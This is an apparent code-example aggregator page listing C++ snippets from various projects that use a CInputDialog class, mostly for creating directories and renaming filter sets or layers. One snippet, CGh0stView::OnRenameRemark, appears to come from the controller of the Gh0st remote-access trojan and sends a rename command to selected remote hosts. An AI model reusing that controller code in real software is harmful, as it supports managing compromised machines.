C++ CInputDialog类代码示例

void CLocalListView::OnMenuMkdir(wxCommandEvent& event)
{
	CInputDialog dlg;
	if (!dlg.Create(this, _("Create directory"), _("Please enter the name of the directory which should be created:")))
		return;

	if (dlg.ShowModal() != wxID_OK)
		return;

	if (dlg.GetValue() == _T(""))
	{
		wxBell();
		return;
	}

	wxFileName fn(dlg.GetValue(), _T(""));
	fn.Normalize(wxPATH_NORM_ALL, m_dir);

	bool res;

	{
		wxLogNull log;
		res = fn.Mkdir(fn.GetPath(), 0777, wxPATH_MKDIR_FULL);
	}

	if (!res)
		wxBell();

	DisplayDir(m_dir);
}

CInputDialog* CInputDialog::NewLC(MInputObserver& aObserver,CMainEngine& aMainEngine,TInt aCommandType)
{
	CInputDialog* self = new (ELeave)CInputDialog(aObserver,aMainEngine,aCommandType);
	CleanupStack::PushL(self);
	self->ConstructL();
	return self;
}

void CFilterDialog::OnSaveAs(wxCommandEvent& event)
{
	CInputDialog dlg;
	dlg.Create(this, _("Enter name for filterset"), _("Please enter a unique name for this filter set"));
	if (dlg.ShowModal() != wxID_OK)
		return;

	wxString name = dlg.GetValue();
	if (name == _T(""))
	{
		wxMessageBox(_("No name for the filterset given."), _("Cannot save filterset"), wxICON_INFORMATION);
		return;
	}
	wxChoice* pChoice = XRCCTRL(*this, "ID_SETS", wxChoice);
	int pos = pChoice->FindString(name);
	if (pos != wxNOT_FOUND)
	{
		if (wxMessageBox(_("Given filterset name already exists, overwrite filter set?"), _("Filter set already exists"), wxICON_QUESTION | wxYES_NO) != wxYES)
			return;
	}

	if (pos == wxNOT_FOUND)
	{
		pos = m_filterSets.size();
		m_filterSets.push_back(m_filterSets[0]);
		pChoice->Append(name);
	}
	else
		m_filterSets[pos] = m_filterSets[0];

	m_filterSets[pos].name = name;

	pChoice->SetSelection(pos);
	m_currentFilterSet = pos;
}

void CGh0stView::OnRenameRemark() 
{
	// TODO: Add your command handler code here

	CString strTitle;
	if (m_pListCtrl->GetSelectedCount() == 1)
		strTitle.Format("更改主机(%s)的备注", m_pListCtrl->GetItemText(m_pListCtrl->GetSelectionMark(), 3));
	else
		strTitle = "批量更改主机备注";
	CInputDialog	dlg;
	dlg.Init(strTitle, _T("请输入新的备注:"), this);
	if (dlg.DoModal() != IDOK || dlg.m_str.GetLength()== 0)   
		return;
	
	int		nPacketLength = dlg.m_str.GetLength() + 2;
	LPBYTE	lpPacket = new BYTE[nPacketLength];
	lpPacket[0] = COMMAND_RENAME_REMARK;
	memcpy(lpPacket + 1, dlg.m_str.GetBuffer(0), nPacketLength - 1);
	
	SendSelectCommand(lpPacket, nPacketLength);
	
	POSITION pos = m_pListCtrl->GetFirstSelectedItemPosition();
	while(pos)
	{
		int	nItem = m_pListCtrl->GetNextSelectedItem(pos);
		m_pListCtrl->SetItemText(nItem, 3, dlg.m_str);
	}

	delete[] lpPacket;		
}

// Helper-Function to create a new Directory
// Returns the name of the new directory
wxString CLocalListView::MenuMkdir()
{
	CInputDialog dlg;
	if (!dlg.Create(this, _("Create directory"), _("Please enter the name of the directory which should be created:")))
		return _T("");

	if (dlg.ShowModal() != wxID_OK)
		return _T("");

	if (dlg.GetValue() == _T(""))
	{
		wxBell();
		return _T("");
	}

	wxFileName fn(dlg.GetValue(), _T(""));
	fn.Normalize(wxPATH_NORM_ALL, m_dir);

	bool res;

	{
		wxLogNull log;
		res = fn.Mkdir(fn.GetPath(), 0777, wxPATH_MKDIR_FULL);
	}

	if (!res) {
		wxBell();
		return _T("");
	}

	// Return name of the New Directory
	// return dlg.GetValue();
	// return fn.GetDirs().Last();
	return fn.GetPath();
}

void CFilterDialog::OnRename(wxCommandEvent& event)
{
	wxChoice* pChoice = XRCCTRL(*this, "ID_SETS", wxChoice);
	int old_pos = pChoice->GetSelection();
	if (old_pos == -1)
		return;

	if (!old_pos) {
		wxMessageBoxEx(_("This filter set cannot be renamed."));
		return;
	}

	CInputDialog dlg;

	wxString msg = wxString::Format(_("Please enter a new name for the filter set \"%s\""), pChoice->GetStringSelection());

	dlg.Create(this, _("Enter new name for filterset"), msg);
	if (dlg.ShowModal() != wxID_OK)
		return;

	wxString name = dlg.GetValue();

	if (name == pChoice->GetStringSelection()) {
		// Nothing changed
		return;
	}

	if (name.empty()) {
		wxMessageBoxEx(_("No name for the filterset given."), _("Cannot save filterset"), wxICON_INFORMATION);
		return;
	}

	int pos = pChoice->FindString(name);
	if (pos != wxNOT_FOUND) {
		if (wxMessageBoxEx(_("Given filterset name already exists, overwrite filter set?"), _("Filter set already exists"), wxICON_QUESTION | wxYES_NO) != wxYES)
			return;
	}

	// Remove old entry
	pChoice->Delete(old_pos);
	CFilterSet set = m_filterSets[old_pos];
	m_filterSets.erase(m_filterSets.begin() + old_pos);

	pos = pChoice->FindString(name);
	if (pos == wxNOT_FOUND) {
		pos = m_filterSets.size();
		m_filterSets.push_back(set);
		pChoice->Append(name);
	}
	else
		m_filterSets[pos] = set;

	m_filterSets[pos].name = name;

	pChoice->SetSelection(pos);
	m_currentFilterSet = pos;

	GetSizer()->Fit(this);
}

void CFileEngine::RequestRenameFile(const TDesC& aFileName)
{
	//ASSERT(NULL == iRenameFile);
	CInputDialog* inputDialog = iControlFactory.CreateInputTextDialog(*this,iMainEngine.GetDesById(ETurkeyTextRes_ReName),KNullDesC,ECmdRenameFile);
	TParse parse;
	parse.Set(aFileName,NULL,NULL);
	inputDialog->SetEdwinText(parse.NameAndExt());
	delete iRenameFile;
	iRenameFile = NULL;
	iRenameFile = aFileName.AllocL();
//	iInputEvent = ECmdRenameFile;
}

/**
* OnNewFolder
*
*/
void CMainFrame::OnNewFolder()
{
	CFileListView * v = (CFileListView *)m_mainSplitter.GetPane(0,1);
	CInputDialog dialog;
	//dialog.SetWindowTextW(_T("bla")) ; // = TEXT("Folder name:");
	if (dialog.DoModal() == IDOK){
		// Do something
		CString input(dialog.m_inputText);
		v->CreateFolder(input);
		TRACE1("a %s \n", input);
	}
}

/** A static function to get some using CInputDialog. */
const QString CInputDialog::getText
( const QString& caption, const QString& description, const QString& text, bool* ok, QWidget* parent, Qt::WindowFlags wflags) {
    CInputDialog* dlg = new CInputDialog(caption, description, text, parent, wflags);

    QString ret = QString::null;
    *ok = (dlg->exec() == QDialog::Accepted) ? true : false;
    if (*ok) {
        //qDebug() << "dialog was accepted, return text: " << dlg->text();
        ret = dlg->text();
    }

    delete dlg;
    return ret;
}

void CLayerSelect::OnNewLayer() 
{
	CInputDialog dlg;
	dlg.csString="Слой1";
	dlg.csTitle="Идентификатор слоя:";
	if(dlg.DoModal()==IDOK)
	{
		CLayerItem data;
		data.csName=dlg.csString;
		data.bVisible=1;
		nCurrentEdit=aList.Add(data);

		ReLoadGrid();
	}
}

/** A static function to get some using CInputDialog. */
const QString CInputDialog::getText( const QString& caption, const QString& description, const QString& text, bool* ok, QWidget* parent, bool modal) {
	CInputDialog* dlg = new CInputDialog(caption, description, text, parent, "", modal);
	QString ret = QString::null;

	const bool isOk = (dlg->exec() == CInputDialog::Accepted);
	if (isOk) {
		ret = dlg->text();
	}

	if (ok) { //change the ok param to return the value
		*ok = isOk;
	}

	delete dlg;
	return ret;
}

void CLayerSelect::OnEditLayer() 
{
	CCellID curCell=m_Grid.GetFocusCell();
	int nLine=curCell.row;
	if(nLine<0 || nLine>=aList.GetSize())
		return;

	CLayerItem data=aList[nLine];
	CInputDialog dlg;
	dlg.csString=data.csName;
	dlg.csTitle="Идентификатор слоя:";
	if(dlg.DoModal()==IDOK)
	{
		data.csName=dlg.csString;
		aList[nLine]=data;
		ReLoadGrid();
	}
}

void CRemoteTreeView::OnMkdir(wxCommandEvent& event)
{
	if (!m_pState->IsRemoteIdle())
		return;

	if (!m_contextMenuItem)
		return;

	const CServerPath& path = GetPathFromItem(m_contextMenuItem);
	if (path.IsEmpty())
		return;

	CInputDialog dlg;
	if (!dlg.Create(this, _("Create directory"), _("Please enter the name of the directory which should be created:")))
		return;

	CServerPath newPath = path;

	// Append a long segment which does (most likely) not exist in the path and
	// replace it with "New directory" later. This way we get the exact position of
	// "New directory" and can preselect it in the dialog.
	wxString tmpName = _T("25CF809E56B343b5A12D1F0466E3B37A49A9087FDCF8412AA9AF8D1E849D01CF");
	if (newPath.AddSegment(tmpName))
	{
		wxString pathName = newPath.GetPath();
		int pos = pathName.Find(tmpName);
		wxASSERT(pos != -1);
		wxString newName = _("New directory");
		pathName.Replace(tmpName, newName);
		dlg.SetValue(pathName);
		dlg.SelectText(pos, pos + newName.Length());
	}

	if (dlg.ShowModal() != wxID_OK)
		return;

	newPath = path;
	if (!newPath.ChangePath(dlg.GetValue()))
	{
		wxBell();
		return;
	}

	m_pState->m_pCommandQueue->ProcessCommand(new CMkdirCommand(newPath));
	CServerPath listed;
	if (newPath.HasParent())
	{
		listed = newPath.GetParent();
		m_pState->ChangeRemoteDir(listed);
	}

	CServerPath currentPath;
	const wxTreeItemId selected = GetSelection();
	if (selected)
		currentPath = GetPathFromItem(selected);
	if (!currentPath.IsEmpty() && currentPath != listed)
		m_pState->ChangeRemoteDir(currentPath);
}

void CLocalTreeView::OnMenuMkdir(wxCommandEvent& event)
{
	if (!m_contextMenuItem.IsOk())
		return;

	wxString path = GetDirFromItem(m_contextMenuItem);
	if (path.Last() != wxFileName::GetPathSeparator())
		path += wxFileName::GetPathSeparator();

	if (!CLocalPath(path).IsWriteable())
	{
		wxBell();
		return;
	}

	CInputDialog dlg;
	if (!dlg.Create(this, _("Create directory"), _("Please enter the name of the directory which should be created:")))
		return;

	wxString newName = _("New directory");
	dlg.SetValue(path + newName);
	dlg.SelectText(path.Len(), path.Len() + newName.Len());

	if (dlg.ShowModal() != wxID_OK)
		return;

	wxFileName fn(dlg.GetValue(), _T(""));
	if (!fn.Normalize(wxPATH_NORM_ALL, path))
	{
		wxBell();
		return;
	}

	bool res;
	{
		wxLogNull log;
		res = fn.Mkdir(fn.GetPath(), 0777, wxPATH_MKDIR_FULL);
	}

	if (!res)
		wxBell();

	Refresh();
	m_pState->RefreshLocal();
}

void CSoundSpaceDoc::OnEditInputs()
{
	CInputDialog dlg;
	if (dlg.DoModal() == IDOK) SetModifiedFlag();
	UpdateAllViews(NULL, INITIALIZE);
}